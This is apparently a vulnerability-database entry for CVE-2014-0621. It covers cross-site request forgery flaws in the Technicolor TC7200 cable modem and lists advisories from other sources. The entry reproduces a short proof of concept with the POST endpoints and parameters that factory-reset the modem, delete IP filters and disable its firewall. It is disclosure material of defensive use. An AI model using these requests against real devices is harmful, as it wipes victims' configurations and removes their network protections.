Technicolor TC7200多个跨站请求伪造漏洞

🗓️ 07 Jan 2014 00:00:00Reported by RootType

Technicolor TC7200 multiple CSRF vulnerabilities, STD6.01.12, CVE-2014-062

Reporter	Title	Published	Views	Family All 10
0day.today	Technicolor TC7200 - Multiple XSS / CSRF Vulnerabilities	3 Jan 201400:00	–	zdt
CVE	CVE-2014-0621	8 Jan 201415:00	–	cve
Cvelist	CVE-2014-0621	8 Jan 201415:00	–	cvelist
Exploit DB	Technicolor TC7200 - Multiple Cross-Site Request Forgery Vulnerabilities	3 Jan 201400:00	–	exploitdb
EUVD	EUVD-2014-0652	7 Oct 202500:30	–	euvd
exploitpack	Technicolor TC7200 - Multiple Cross-Site Request Forgery Vulnerabilities	3 Jan 201400:00	–	exploitpack
NVD	CVE-2014-0621	8 Jan 201415:30	–	nvd
Packet Storm	Technicolor TC7200 Cross Site Request Forgery	2 Jan 201400:00	–	packetstorm
Prion	Cross site request forgery (csrf)	8 Jan 201415:30	–	prion
seebug.org	Technicolor TC7200 - Multiple CSRF Vulnerabilities	1 Jul 201400:00	–	seebug


                                                # Exploit Title: Technicolor TC7200 - Multiple CSRF Vulnerabilities
# Google Dork: N/A
# Date: 02-01-2013
# Exploit Author: Jeroen - IT Nerdbox
# Vendor Homepage:
http://www.technicolor.com/en/solutions-services/connected-home/modems-gatew
ays/cable-modems-gateways/tc7200-tc7300
# Software Link: N/A
# Version: STD6.01.12
# Tested on: N/A
# CVE : CVE-2014-0621
#
# Proof of Concept:
# 
# 
## Payload for Factory Reset:
#  
# POST     : http://&lt;ip&gt;/goform/system/factory
# Parameter: None
# 
## Payload to disable the advanced options:
# 
# POST     : http://&lt;ip&gt;/goform/advanced/options 
# Parameter: None
# 
## Payload to remove ip-filters:
# 
# POST     : http://&lt;ip&gt;//goform/advanced/ip-filters
# Parameter: IpFilterAddressDelete1 = 1
# 
## Payload to remove firewall settings 
#  
# POST     : http://&lt;ip&gt;/goform/advanced/firewall
# Parameter: cbFirewall = 1
# 
# Check out the video at: http://www.nerdbox.it/technicolor-tc7200-multiple-csrf-vulnerabilities/

07 Jan 2014 00:00Current

6.4Medium risk

Vulners AI Score6.4

EPSS0.00375